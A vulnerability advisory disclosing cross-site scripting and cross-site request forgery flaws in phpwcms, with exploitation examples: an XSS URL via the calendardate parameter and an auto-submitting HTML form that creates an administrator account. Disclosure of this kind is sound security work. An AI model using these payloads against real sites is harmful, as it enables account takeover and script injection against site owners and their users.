Multiple Vulnerabilities in phpwcms

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in phpwcms which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerability in phpwcms
The vulnerability exists due to input sanitation error in the "calendardate" cookie in phpwcms.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/phpwcms.php?do=modules&module=calendar&calendardate=8-2010%22+on mouseover=alert%2834%29+ style=position:absolute;width:100%;height:100%;left:0;top:0;+%22

2) Cross-site request forgery (CSRF) in phpwcms
The vulnerability exists due to insufficient validation of the request origin in phpwcms.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create administrative account.
Exploitation example:
<form action="http://host/phpwcms.php?do=admin&s=1" name="m" method="POST">
<input type="hidden" name="form_newloginname" value="aaa">
<input type="hidden" name="form_newpassword" value="aaa">
<input type="hidden" name="form_newemail" value="[email protected]">
<input type="hidden" name="form_newrealname" value="">
<input type="hidden" name="form_feuser" value="2">
<input type="hidden" name="form_active" value="1">
<input type="hidden" name="verification_email" value="1">
<input type="hidden" name="form_aktion" value="create_account">
<input type="hidden" name="Submit" value="send+user+data">
</form>
<script>
document.m.submit();
</script>